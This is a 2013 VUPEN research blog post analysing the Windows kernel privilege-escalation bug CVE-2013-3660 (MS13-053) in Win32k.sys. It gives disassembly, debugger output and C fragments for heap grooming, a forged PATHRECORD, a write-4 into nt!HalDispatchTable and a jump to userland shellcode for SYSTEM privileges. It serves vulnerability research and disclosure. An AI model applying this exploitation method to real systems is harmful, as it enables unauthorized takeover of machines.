About Us | Contact Us    

 


 

VUPEN Research

 
  VUPEN Research Team
  VUPEN Research Blog
  VUPEN Research Videos
 
   

VUPEN Vulnerability Research Team (VRT) Blog

 
Advanced Exploitation of Windows Kernel Privilege Escalation (CVE-2013-3660 / MS13-053)
 
Published on 2013-07-23 16:56:07 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN

Twitter LinkedIn Delicious Digg   

Hi everyone,

Recently, a very interesting Windows privilege escalation vulnerability was discovered and publicly disclosed by Tavis Ormandy (and he deserves a Pwnie Award 2013 for it!), it was later patched by Microsoft as part of MS13-053. The vulnerability affects the
Win32k.sys "EPATHOBJ::pprFlattenRec()" function, and allows an unprivileged user to gain SYSTEM permissions.

While a few codes taking advantage of this vulnerability were published by other researchers, our aim was to create a reliable and universal exploit working on both 32bit and 64bit versions of Windows 8, Windows 7, Vista, and XP. We had then to find another exploitation method which works on Windows 8 and prior and which provides instant privilege escalation without suffering from the race condition limitations and/or side effects.

In this blog, we share our findings and exploitation method.


1. Technical Analysis of the Vulnerability

When calling the "FlattenPath()" function, the "win32k!EPATHOBJ::bFlatten()" method is entered in kernel mode in Win32k.sys:

 
 .text:0011602C win32k!EPATHOBJ::bFlatten
 .text:0011602C mov edi, edi
 .text:0011602E push ecx
 .text:0011602F mov eax, [esi+8]                                     // head of PATHRECORD list
 .text:00116032 test eax, eax
 .text:00116034 jz short loc_11605B
 .text:00116036 mov eax, [eax+14h]                               
// first PATHRECORD pointer
 .text:00116039
 .text:00116039 loc_116039:
 .text:00116039 test eax, eax                                          
// is end of list reached
 .text:0011603B jz short loc_116053
 .text:0011603D test byte ptr [eax+8], 10h                      
 // is this a Bezier curve
 .text:00116041 jz short loc_11604F
 .text:00116043 push eax
 .text:00116044 mov ecx, esi
 .text:00116046 call EPATHOBJ::pprFlattenRec                  
// Flatten Bezier curve
 .text:0011604B test eax, eax
 .text:0011604D jz short loc_11605B
 .text:0011604F
 .text:0011604F loc_11604F:
 .text:0011604F mov eax, [eax]                                       // current = current->next
 .text:00116051 jmp short loc_116039
 .text:00116053 loc_116053:
 .text:00116053 and dword ptr [esi], 0FFFFFFFEh
 .text:00116056 xor eax, eax
 .text:00116058 inc eax
 .text:00116059 pop ecx
 .text:0011605A retn

 

If the PATHRECORD object contains points describing a Bezier curve, the "win32k!EPATHOBJ::pprFlattenRec()" method is entered:

 
 .text:001171E0 win32k!EPATHOBJ::pprFlattenRec
  ...
 .text:00117208 lea ebx, [ebp+newPathRecord]
 .text:0011720E mov [ebp+var_EC], edi
 .text:00117214 mov [ebp+currentPathRecord], eax
 .text:0011721A call EPATHOBJ::newpathrec               // Allocate a new PATHRECORD
 

The function calls "win32k!EPATHOBJ::newpathrec()" in order to allocate a new PATHRECORD if there is not enough memory in the current one:

 
 .text:00115F87 win32k!EPATHOBJ::newpathrec
  ...
 .text:00115F99 mov edx, [ecx+4]                                 // retrieve last PATHRECORD
 .text:00115F9C mov eax, [ecx+8]                               
// retrieve PATHRECORD allocation size
 .text:00115F9F add edx, 10h
 .text:00115FA2 add eax, ecx                                       
// go to end of POINT array
 .text:00115FA4 cmp eax, edx
 .text:00115FA6 jbe short loc_115FAF
 .text:00115FA8 sub eax, edx
 .text:00115FAA sar eax, 3
 .text:00115FAD mov [esi], eax                                    
// compute remaining POINT triplets
 .text:00115FAF loc_115FAF:
 .text:00115FAF mov eax, [esi]
 .text:00115FB1 cmp eax, 8                                         
// If less than 8 POINT triplets remaining
 .text:00115FB4 jb short loc_115FC2                            
// allocate a new PATHRECORD structure
  ...
 .text:00115FC2 loc_115FC2:
  ...
 .text:00115FC7 call newpathalloc
 

In case the PATHRECORD object does not have enough "slots" in its POINT array structure, the "win32k!newpathalloc()" function is called:

 
 .text:00116729 win32k!newpathalloc
 .text:00116729 mov edi, edi
 .text:0011672B push ebp
 .text:0011672C mov ebp, esp
 .text:0011672E push ecx
 .text:0011672F push ebx
 .text:00116730 push esi
 .text:00116731 mov esi, PATHALLOC::hsemFreelist
 ...
 .text:0011674C loc_11674C:
 .text:0011674C mov edi, PATHALLOC::freelist
 .text:00116752 mov ebx, 0FC0h
 .text:00116757 test edi, edi
 .text:00116759 jz short loc_11679A
 

"win32k!PATHALLOC::freelist" is a simple linked list structure, which can contain up to 4 elements. In the case the "win32k!PATHALLOC::freelist" linked list is empty, the following path is taken:

 
 .text:00116729 win32k!newpathalloc
  ...
 .text:0011679A loc_11679A:
 .text:0011679A push 1
 .text:0011679C push 'tapG'
 .text:001167A1 push ebx
 .text:001167A2 call PALLOCMEM2
 

"win32!kPALLOCMEM2()" is actually a wrapper around "nt!ExAllocatePoolWithTag()" followed by a "memset(0)" on the newly allocated pool chunk.

In the case the freelist contains elements, the following path is taken:

 
 .text:00116729 win32k!newpathalloc
  ...
 .text:0011675B mov eax, [edi]                                   
 // get next freelist item
 .text:0011675D dec PATHALLOC::cFree                        // counter of freelist element
 .text:00116763 mov PATHALLOC::freelist , eax             // update freelist
 .text:00116768
 .text:00116768 loc_116768:
 .text:00116768 and dword ptr [edi], 0
 .text:0011676B lea eax, [edi+0Ch]                              // eax points to PATHRECORD structure
  ...
 .text:00115FB9 mov [ebx], eax                                   // assign newPathRecord pointer
 .text:00115FBB xor eax, eax
 .text:00115FBD inc eax
 .text:00115FBE pop ebp
 .text:00115FBF retn 4
 

The counter of freelist elements is decremented, and the freelist linked list is updated to point to the new head of the list. However this time, the memory returned from the freelist is not memset-ed to 0, thus still containing data of previous PATHRECORD structures.

The PATHRECORD structure looks as follows:

 
 typedef struct _PATHRECORD
 {
           struct _PATHRECORD *next;                            // pointer to next PATHRECORD
           struct _PATHRECORD *prev;                            // pointer to previous PATHRECORD
           DWORD flags;                                                 // type of PATHRECORD
           DWORD numPoints;                                         // number of points
           POINT points[0];                                             // variable length array of POINT
 } PATHRECORD, *PPATHRECORD;
 

The POINT structure is as follows (from MSDN):

 
 typedef struct tagPOINT
 {
           LONG x;
           LONG y;
 } POINT, *PPOINT;
 

Eventually the function returns and the system starts initializing the newly created PATHRECORD structure:

 
 .text:001171E0 win32k!EPATHOBJ::pprFlattenRec
  ...
 .text:00117228 mov ebx, [ebp+newPathRecord]
 .text:0011722E mov esi, [ebp+currentPathRecord]
 .text:00117234 mov eax, [esi+4]                               // eax = currentPathRecord->prev
 .text:00117237 mov [ebx+4], eax                            
 // newPathRecord->prev= eax
 .text:0011723A lea eax, [ebx+0Ch]                           // eax = &(newPathRecord->records[])
 .text:0011723D and dword ptr [eax], 0                     
 // records[0] = 0
 .text:00117240 mov [ebp+newPathRecord], eax
 .text:00117246 mov eax, [esi+8]                              // eax = currentPathRecord->flags
 .text:00117249 and eax, 0FFFFFFEFh
 .text:0011724C mov [ebx+8], eax                            // newPathRecord->flags = eax
 

The system initializes all the PATHRECORD fields EXCEPT the next field, which may contain other data than 0 in the case the record was returned by the "win32k!PATHALLOC::freelist" linked list. Even though the system later initializes this field, there exists a branch that allows skipping this initialization in the case of a memory allocation failure:

 
 .text:001171E0 win32k!EPATHOBJ::pprFlattenRec
  ...
 .text:001E984C call EPATHOBJ::newpathrec
 .text:001E9851 cmp eax, 1
 .text:001E9854 jnz short loc_1E9801                         // taken if allocation failed
  ...
 .text:001E9801 xor eax, eax
 .text:001E9803 jmp loc_117371
  ...
 .text:00117371 loc_117371:
  ...
 .text:0011737E leave
 .text:0011737F retn 4
 

The "win32k!EPATHOBJ::newpathrec()" method returns 0 in the case it cannot satisfy the memory allocation request. This happens when the "win32k!PATHALLOC::freelist" is empty, and "nt!ExAllocatePoolWithTag()" fails to allocate more memory.

In this case, a PATHRECORD object containing an invalid next pointer has just been inserted into the linked list of PATHRECORD structures.

Eventually a second call to "win32k!NtGdiFlattenPath()" will trigger an access violation when trying to dereference the record's next pointer in "win32k!EPATHOBJ::bFlatten()":

 
 .text:0011602C win32k!EPATHOBJ::bFlatten
 .text:0011602C
 .text:0011602C mov edi, edi
 .text:0011602E push ecx
 .text:0011602F mov eax, [esi+8]
 .text:00116032 test eax, eax
 .text:00116034 jz short loc_11605B
 .text:00116036 mov eax, [eax+14h]                         // Dereference invalid next pointer
 .text:00116039
 .text:00116039 loc_116039:
 .text:00116039 test eax, eax
 .text:0011603B jz short loc_116053
 .text:0011603D test byte ptr [eax+8], 10h                // Crash here!
 


2. Exploitation on Windows 8 (32bit)

2.1 Controlling Uninitialized Pointer

Exploiting this vulnerability requires controlling the value of the uninitialized next pointer. In order to do so, two conditions must be met when "win32k!EPATHOBJ::bFlatten" is called:

1) The first call to "win32k!EPATHOBJ::newpathrec()", must succeed and return a controlled PATHRECORD object from "win32k!PATHALLOC::freelist", which will be linked to the current PATHRECORD list.

2) The next call to "win32k!EPATHOBJ::newpathrec()" must fail due to memory exhaustion and exit the "win32k!EPATHOBJ::bFlatten()" function, leaving the next pointer uninitialized.

The first step can be easily achieved by using the following piece of code:

 
  for (i = 0; i < 8192; i++)
  {
           points[i].x = 0x41414141 >> 4;
           points[i].y = 0x41414141 >> 4;
           pointTypes[i] = 0x10;
   }

  /* First call to PolyDraw fills exactly one page with controlled data. */
  BeginPath(hDevice);
  PolyDraw(hDevice, points, pointTypes, 498);
  EndPath(hDevice);
 

The "PolyDraw()" function will eventually lead to call "win32k!EPATHOBJ::newpathrec()" which will allocate a new 0xFC0h bytes chunk which will be filled with POINT structures containing 0x041414140 for x and y fields. The newly allocated chunk thus has the following layout in memory:

 
 kd> dd ecx + 0xc
 82ad0014 00000000 00000000 00000017
 000001f2
 82ad0024 41414140 41414140 41414140 41414140
 82ad0034 41414140 41414140 41414140 41414140
 82ad0044 41414140 41414140 41414140 41414140
 82ad0054 41414140 41414140 41414140 41414140
 82ad0064 41414140 41414140 41414140 41414140
 82ad0074 41414140 41414140 41414140 41414140
 82ad0084 41414140 41414140 41414140 41414140
 

The "PolyDraw()" function is called a second time, but with a lower number of points in parameter:

 
 /* On BeginPath() previously allocated data is freed to the freelist. */

 BeginPath(hDevice);

 /* Freed memory is reallocated during PolyDraw() call without memory
  being memset()ed thus the returned memory area is filled with
  user-controlled data.*/

 PolyDraw(hDevice, points, pointTypes, 483);
 

By doing this, the allocated chunk will be freed to the freelist, and immediately reallocated, this time with less points in the POINT array. The chunk layout is now as follows:

 
 kd> dd ecx + 0xc
 82ad0014 00000000
 82ad0f44  00000017 000001e3
 82ad0024 41414140 41414140 41414140 41414140
 82ad0034 41414140 41414140 41414140 41414140
 82ad0044 41414140 41414140 41414140 41414140
 82ad0054 41414140 41414140 41414140 41414140
 82ad0064 41414140 41414140 41414140 41414140
 82ad0074 41414140 41414140 41414140 41414140
 82ad0084 41414140 41414140 41414140 41414140
 ...
 
82ad0f44 41414140 41414140 41414140 41414140
 

The value 0x82AD0F44 is thus returned by "win32k!EPATHOBJ::newpathrec()", the vulnerable initialization code is then entered, and inserts the new PATHRECORD object into the PATHRECORD linked list:

 
 .text:001171E0 win32k!EPATHOBJ::pprFlattenRec
  ...
 .text:00117228 mov ebx, [ebp+newPathRecord]
 .text:0011722E mov esi, [ebp+currentPathRecord]
 .text:00117234 mov eax, [esi+4]                              // eax = currentPathRecord->prev
 .text:00117237 mov [ebx+4], eax                           
 
// newPathRecord->prev= eax
 .text:0011723A lea eax, [ebx+0Ch]                         
 // eax = &(newPathRecord->records[])
 .text:0011723D and dword ptr [eax], 0                     
// records[0] = 0
 .text:00117240 mov [ebp+newPathRecord], eax
 .text:00117246 mov eax, [esi+8]                             
// eax = currentPathRecord->flags
 .text:00117249 and eax, 0FFFFFFEFh
 .text:0011724C mov [ebx+8], eax                           
// newPathRecord->flags = eax
 .text:0011724F cmp dword ptr [ebx+4], 0
 .text:00117253 mov [ebp+var_F4], ebx
 .text:00117259 jz loc_117382
 
...
 .text:00117382 mov eax, [edi+8]
 .text:00117385 mov [eax+14h], ebx                        
// Set new record as head of the linked list
 

The code will then try to flatten the PATHRECORD linked list, and eventually land on the following piece of code:

 
 .text:001E9841 lea ebx, [ebp+var_100]
 .text:001E9847 mov edi, edx
 .text:001E9849 mov [eax+4], ecx
 .text:001E984C call EPATHOBJ::newpathrec              // Allocate a new PATHRECORD
 .text:001E9851 cmp eax, 1
 .text:001E9854 jnz short loc_1E9801                        // If allocation failed, leave function
  ...
 .text:001E9801 xor eax, eax
 .text:001E9803 jmp loc_117371
  ...
 .text:00117371 loc_117371:
  ...
 .text:0011737E leave
 .text:0011737F retn 4
 

Since no more memory is available, the call to "win32k!EPATHOBJ::newpathrec()" fails. The function thus does not initialize the next pointer of the newly created PATHRECORD structure, which is now controlled by the attacker.

Contrary to what was publicly stated, there is no race condition involved in this exploit. Even though a PATHRECORD with the next pointer set to 0x41414140 has been inserted in the list of PATHRECORD, nothing happens as far as the "win32k!EPATHOBJ::bFlatten()" method is not entered with this particular PATHRECORD list. Before triggering the access violation, the kernel memory is freed in order for all the subsequent calls to "win32k!newpathalloc()" to succeed:

 
  /* Trigger the bug: Insert crafted "next" pointer into PATHRECORD structure list */
  FlattenPath(hDevice);

  /* Free memory: Let the kernel breath. */
  while (NumRegion)
  DeleteObject(Regions[--NumRegion]);

  /* Trigger invalid pointer dereference. */
  FlattenPath(hDevice);
 

A second call to "FlattenPath()" thus triggers the access violation:

 
 .text:0011602C win32k!EPATHOBJ::bFlatten
 .text:0011602C
 .text:0011602C mov edi, edi
 .text:0011602E push ecx
 .text:0011602F mov eax, [esi+8]
 .text:00116032 test eax, eax
 .text:00116034 jz short loc_11605B
 .text:00116036 mov eax, [eax+14h]                        // Dereference invalid next pointer
 .text:00116039
 .text:00116039 loc_116039:
 .text:00116039 test eax, eax
 .text:0011603B jz short loc_116053
 .text:0011603D test byte ptr [eax+8], 10h               // Crash here! eax == 0x41414140
 


2.2 Achieving Write4

Now that the next pointer is controlled, the goal will be to achieve a write-4 memory corruption by inserting a fake record into the PATHRECORD linked list.

In order to craft a fake PATHRECORD, the next pointer is made to point into VirtuaAlloc()ed memory in userland containing a PATHRECORD structure:

 
 PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof *PathRecord,
 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 /* Craft PATHRECORD structures. */
 PathRecord->prev = 0;
 PathRecord->next = (PPATHRECORD)&ExploitRecord;
 PathRecord->flags = 0;

 ExploitRecord.next = 0x41414141 >> 4;
 ExploitRecord.prev = 0x42424242 >> 4;
 ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
 ExploitRecord.count = 4;
 

The code will process PathRecord object. Since the flag value is 0, the "win32k!EPATHOBJ::pprFlattenRec()" function is not entered. The next pointer is dereferenced, pointing to the ExploitRecord object. This time, since the PD_BEZIERS (0x10) flag is enabled, the object is processed by "win32k!EPATHOBJ::pprFlattenRec()":

 
 .text:0011602C mov edi, edi
 .text:0011602E push ecx
 .text:0011602F mov eax, [esi+8]
 .text:00116032 test eax, eax
 .text:00116034 jz short loc_11605B
 .text:00116036 mov eax, [eax+14h]                       // Get head of linked list
 .text:00116039
 .text:00116039 loc_116039:
 .text:00116039 test eax, eax
 .text:0011603B jz short loc_116053
 .text:0011603D test byte ptr [eax+8], 10h             
 // is PATHRECORD a Bezier curve
 .text:00116041 jz short loc_11604F
 .text:00116043 push eax
 .text:00116044 mov ecx, esi
 .text:00116046 call EPATHOBJ::pprFlattenRec
 .text:0011604B test eax, eax
 .text:0011604D jz short loc_11605B
 .text:0011604F
 .text:0011604F loc_11604F:
 .text:0011604F mov eax, [eax]                              // move to next PATHRECORD
 .text:00116051 jmp short loc_116039
 

"win32k!EPATHOBJ::pprFlattenRec()" is then entered with the crafted PATHRECORD object:

 
 .text:00117202 lea esi, [ebp+var_F8]
 .text:00117208 lea ebx, [ebp+newPathRecord]
 .text:0011720E mov [ebp+var_EC], edi
 .text:00117214 mov [ebp+currentPathRecord], eax
 .text:0011721A call EPATHOBJ::newpathrec            // succeeds because memory
 .text:0011721F cmp eax, 1                                    // was given back to kernel
 .text:00117222 jnz loc_1E9801
 .text:00117228 mov ebx, [ebp+newPathRecord]     // Address of record in ebx
 .text:0011722E mov esi, [ebp+currentPathRecord]
 .text:00117234 mov eax, [esi+4]
 .text:00117237 mov [ebx+4], eax                         // set next pointer
 .text:0011723A lea eax, [ebx+0Ch]
 .text:0011723D and dword ptr [eax], 0
 .text:00117240 mov [ebp+newPathRecord], eax
 .text:00117246 mov eax, [esi+8]
 .text:00117249 and eax, 0FFFFFFEFh
 .text:0011724C mov [ebx+8], eax
 .text:0011724F cmp dword ptr [ebx+4], 0
 .text:00117253 mov [ebp+var_F4], ebx
 .text:00117259 jz loc_117382
 .text:0011725F mov eax, [ebx+4]
 .text:00117262 mov [eax], ebx                             // write4 corruption
 

As we can see, the write4 operation has been successfully achieved. However, even if the content of the ebx register is controlled, its address is not, since it has been returned by "win32k!newpathalloc()" and is thus a pointer located in kernel land.

Since the vulnerability allows controlling where data will be copied but not what will be copied, two different approaches have been used respectively for 32bit and 64bit architectures. In this blog, we will focus on the 32bit approach.


2.3 Finalizing Exploitation

On x86, a pointer located at nt!HalDispatchTable+0x4 will be targeted for the write4 corruption. After the corruption has taken place, a call to "NtQueryIntervalProfile" will trigger the overwritten pointer and redirect the execution flow:

 
 PAGE:007631D1 nt!KeQueryIntervalProfile
 PAGE:007631D1
 PAGE:007631D1 mov edi, edi
 PAGE:007631D3 push ebp
 PAGE:007631D4 mov ebp, esp
 PAGE:007631D6 sub esp, 14h
 PAGE:007631D9 cmp eax, 1
 PAGE:007631DC jz short loc_763202
 PAGE:007631DE mov [ebp+var_14], eax
 PAGE:007631E1 lea eax, [ebp+var_4]
 PAGE:007631E4 push eax
 PAGE:007631E5 lea eax, [ebp+var_14]
 PAGE:007631E8 push eax
 PAGE:007631E9 push 10h
 PAGE:007631EB push 1
 PAGE:007631ED call off_5CCF2C                          // xHalQuerySystemInformation
 

The kernel will then proceed to jump on the PATHRECORD since, on x86, pages allocated by "win32k!newpathalloc()" are executable and the kernel data located in the PATHRECORD happens to correspond to the value of the PATHRECORD next pointer.

Since the crafted PATHRECORD is the last one of the PATHRECORD chain, the next pointer is NULL and the kernel will crash.

One has to craft a PATHRECORD chain such that the PATHRECORD used to overwrite the nt!HalDispatchTable+4 pointer is not the last one of the chain. The next pointer must point to a PATHRECORD which needs to be located at an address such that this address translates to valid x86 opcode sequences.

A good candidate sequence was found by Tavis:

 
 inc eax
 jmp [ebp + 0x40h]
 

This translates into the dword 0x40FF6540 which can be mapped in userland. This address must contain a valid PATHRECORD which ends the chain.

[ebp + 0x40h] is actually the location on the stack of the second argument of NtQueryIntervalProfile which is a pointer to a shellcode mapped in userland, leading to code execution with SYSTEM privileges on Windows 8 and prior.

Reliable code execution can also be achieved on 64bit systems despite all exploit mitigations in place including SMEP (Supervisor Mode Execution Protection), however, we leave this as an exercice for the reader. Another exercice would be to turn this vulnerability into a sandbox escape which can be used with Google Chrome or Adobe Acrobat / Reader.

Copyright VUPEN Security



 

VUPEN Solutions  

 


 

 

 

 

 

 

 

 

 

2004-2014 VUPEN Security - Copyright - Privacy Policy